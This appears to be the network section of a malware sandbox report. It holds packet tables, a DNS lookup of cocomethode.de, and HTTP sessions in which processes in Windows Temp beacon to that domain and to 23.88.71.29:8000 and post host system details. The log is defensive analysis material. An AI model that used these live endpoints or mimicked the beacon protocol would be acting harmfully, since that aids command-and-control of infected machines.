Dec 11, 2024 13:00:55.110340118 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.110563040 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.110755920 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.112217903 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.112230062 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.112849951 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.113239050 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.113239050 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.113239050 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.113250017 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.113857985 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.114278078 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.114840031 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.114849091 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.115771055 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.115776062 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.116745949 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.116758108 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.117260933 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.117266893 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.117583036 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.118271112 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.328665972 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.328676939 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.329885006 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.329894066 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.330626965 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.330653906 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.330846071 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.330851078 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.331806898 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.331806898 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.332506895 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.332515955 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.333540916 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.333540916 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.333545923 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.334479094 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.334491014 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.334491014 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.334496021 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.335536003 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.336397886 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.336524010 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.337567091 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.337572098 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.338346004 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.338355064 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.338874102 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.338879108 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.339292049 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.339292049 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.340066910 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.340220928 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.340230942 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.341521978 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.341526031 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.342137098 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.342148066 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.343135118 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.343139887 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.343282938 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.344141960 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.344532013 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.344541073 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.345438004 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.345438004 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.345443010 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.346399069 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.346458912 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.346493959 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.347244978 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.347367048 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.347371101 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.348139048 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.554960012 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.554992914 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.555810928 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.555810928 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.555840969 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.556899071 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.556934118 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.556967974 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.556988001 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.557796955 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.558826923 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.558857918 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.560266972 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.560287952 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.560756922 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.560790062 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.561306953 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.561323881 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.561920881 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.562334061 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.562861919 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.562891960 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.563594103 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.563843966 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.563870907 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.564040899 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.565602064 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.565632105 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.565756083 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.565804005 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.565804005 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.565817118 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.565985918 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.566178083 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.568022966 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.568053007 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.568372965 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.568372965 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.568392992 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.568753958 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.569906950 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.569932938 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.570101023 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.570108891 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.570188046 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.570403099 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.571736097 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.571765900 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.572112083 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.572112083 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.572140932 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.572415113 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.573990107 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.574019909 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.574301958 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.574301958 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.574330091 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.574444056 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.574609995 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.576381922 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.576411009 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.576728106 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.576728106 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.576759100 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.576889038 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.576889038 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.577053070 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.777065992 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.777097940 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.777956963 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.777956963 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.777991056 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.778908014 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.778943062 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.779107094 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.779125929 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.780116081 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.780903101 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.780934095 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.781805992 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.781824112 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.782788038 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.782857895 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.782888889 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.783757925 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.783757925 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.783776045 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.784723043 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.784755945 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.784887075 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.784899950 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.785470009 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.787254095 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.787395000 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.787477970 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.787477970 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.787502050 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.787666082 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.787836075 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.789005041 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.789036036 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.789352894 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.789352894 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.789375067 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.789760113 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.790931940 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.790961981 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.791134119 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.791162968 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.791328907 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.791328907 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.791506052 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.792856932 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.792886972 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.793203115 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.793203115 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.793203115 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.793220997 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.793426037 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.795306921 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.795336008 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.795602083 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.795602083 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.795603037 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.795603037 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.795648098 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.795820951 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.797161102 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.797190905 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.797379971 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.797467947 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.797467947 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.797497034 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.797735929 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.799107075 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.799137115 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.799279928 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.799458981 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.799458981 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.799470901 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.799654007 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.799654007 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.800990105 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.801064968 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.801155090 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.801155090 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.801337957 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.801337957 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:55.801346064 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:55.801551104 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:56.006720066 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:56.006756067 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:56.006925106 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:56.006925106 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:56.007133961 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:56.007134914 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:56.007134914 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:56.007164955 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:56.007325888 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:56.008584976 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:56.008616924 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:56.008740902 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:56.008781910 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:56.008781910 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:56.008802891 CET	443	49768	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:56.008927107 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:56.008927107 CET	49768	443	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:56.009074926 CET	49768	443	192.168.11.20	104.21.1.51

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 12:58:14.116863012 CET	52104	53	192.168.11.20	1.1.1.1
Dec 11, 2024 12:58:14.232737064 CET	53	52104	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 12:58:14.116863012 CET	192.168.11.20	1.1.1.1	0x2518	Standard query (0)	cocomethode.de	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 12:58:14.232737064 CET	1.1.1.1	192.168.11.20	0x2518	No error (0)	cocomethode.de		104.21.1.51	A (IP address)	IN (0x0001)	false
Dec 11, 2024 12:58:14.232737064 CET	1.1.1.1	192.168.11.20	0x2518	No error (0)	cocomethode.de		172.67.128.139	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cocomethode.de

23.88.71.29:8000

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49761	104.21.1.51	80	9108	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:58:57.873001099 CET	73	OUT	GET /api/check HTTP/1.1 Host: cocomethode.de Connection: Keep-Alive
Dec 11, 2024 12:58:58.574620008 CET	1289	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store,no-cache Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9%2BIdcKku%2FlB5lcpbRREZM2QfgseXQSi7e%2F6%2F296vc%2FZfqIJDSClpR%2FNZ%2BHo9jRQ3k%2BKuCnGxDyt2QnrFtjtN9qKboiQL5O8%2B9eYJkBd5BRPzVFFVcAC3hlrLu8ZdzcI8K%2BAdyQqdzzg3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=54114&min_rtt=1078&rtt_var=4605&sent=61&recv=62&lost=0&retrans=0&sent_bytes=21686&recv_bytes=26312&delivery_rate=67815&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054e4c1a474558-ATL server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=323&delivery_rate=0&cwnd=116&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=42&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=311&delivery_rate=0&cwnd=158&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;d Data Raw: Data Ascii:
Dec 11, 2024 12:58:58.574628115 CET	384	IN	Data Raw: 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 31 26 6d 69 6e 5f 72 74 74 3d 34 31 26 72 74 74 5f 76 61 72 3d 32 30 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 Data Ascii: sc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=298&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=113899&min_rtt=113899&rtt_v
Dec 11, 2024 12:58:58.574640989 CET	362	IN	Data Raw: 31 36 33 0d 0a 31 37 33 33 39 31 38 33 33 38 7c 71 6e 64 57 43 48 5a 39 30 57 43 62 30 36 49 74 79 4f 74 30 44 4b 39 74 6d 4a 36 59 7a 51 30 4a 48 68 69 71 43 59 6b 4b 7a 68 46 6a 48 63 32 39 6e 69 4c 70 61 76 37 66 6b 74 64 55 56 6f 45 2f 31 62 Data Ascii: 1631733918338\|qndWCHZ90WCb06ItyOt0DK9tmJ6YzQ0JHhiqCYkKzhFjHc29niLpav7fktdUVoE/1bbkXj+ygtl4ecoVUGsoCgJdq2A7SFIU4iwKtAqY8LkzhWn0cOsdTEJf+Myjhx3BllvOhFDJXR1n4vspV15XT77rVvDGri23RfOADt7RiGNvKF/sJNQi15w8DyvR2uR9z989dS4Q6nC9oSQ6blHBWTzEE09S7O8NPUo
Dec 11, 2024 12:58:58.574646950 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49765	23.88.71.29	8000	6808	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 13:00:02.989933014 CET	164	OUT	GET /client/ws HTTP/1.1 Host: 23.88.71.29:8000 Connection: Upgrade Upgrade: websocket Sec-WebSocket-Key: rGSWxZ10F0Sv0aijWMtUlQ== Sec-WebSocket-Version: 13
Dec 11, 2024 13:00:03.734606981 CET	834	IN	HTTP/1.1 101 Switching Protocols Upgrade: Websocket Server: Microsoft-IIS/8.5 Sec-Websocket-Accept: qu8KK9paIh1K0F0PpRX3SuVFXx4= CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HuICh3D1L8FwdmibRiGxV2hjiMMb8tUsF284nvfCGfv9hT9oCQmovYqvj8yp7%2B8pM9eX2LH%2B0vOVXkCFYNxvDfmX7bkczMGLospIHAHjfhD2Jxfw4G2VFBVuNDvQEezhVPVGOwTxfjce"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f054fe368f6dbf8-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5730&min_rtt=5730&rtt_var=2865&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=307&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Connection: Upgrade Date: Wed, 11 Dec 2024 12:00:02 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49766	23.88.71.29	8000	6808	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 13:00:07.257582903 CET	234	OUT	POST /api/registry HTTP/1.1 Host: 23.88.71.29:8000 Connection: Keep-Alive Content-Type: application/json Content-Length: 102 Data Raw: 22 36 33 30 31 33 33 37 32 46 36 35 37 35 41 39 44 34 45 41 32 39 43 42 36 30 38 37 39 38 45 44 39 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "63013372F6575A9D4EA29CB608798ED9\|Microsoft Windows 10 Pro\|10.0.19042 N/A Build 19042-10.0.19041.1081"
Dec 11, 2024 13:00:08.003823996 CET	803	IN	HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/8.5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rInAhekVhKmSsMLCAGPBbw%2BFLFODkuitdO%2FTeMeBKEKXonNe7IVJAHJ4qZtOHHX8rlEkjRSSjyDofNfuAHN2eNK%2B84IzLvnokdcCPKMWjDTMWJahQr0irJRAFylfKxewUoSDDKkppQP8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f054ffe1f4edbeb-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5423&min_rtt=5423&rtt_var=2711&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=380&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Date: Wed, 11 Dec 2024 12:00:07 GMT Content-Length: 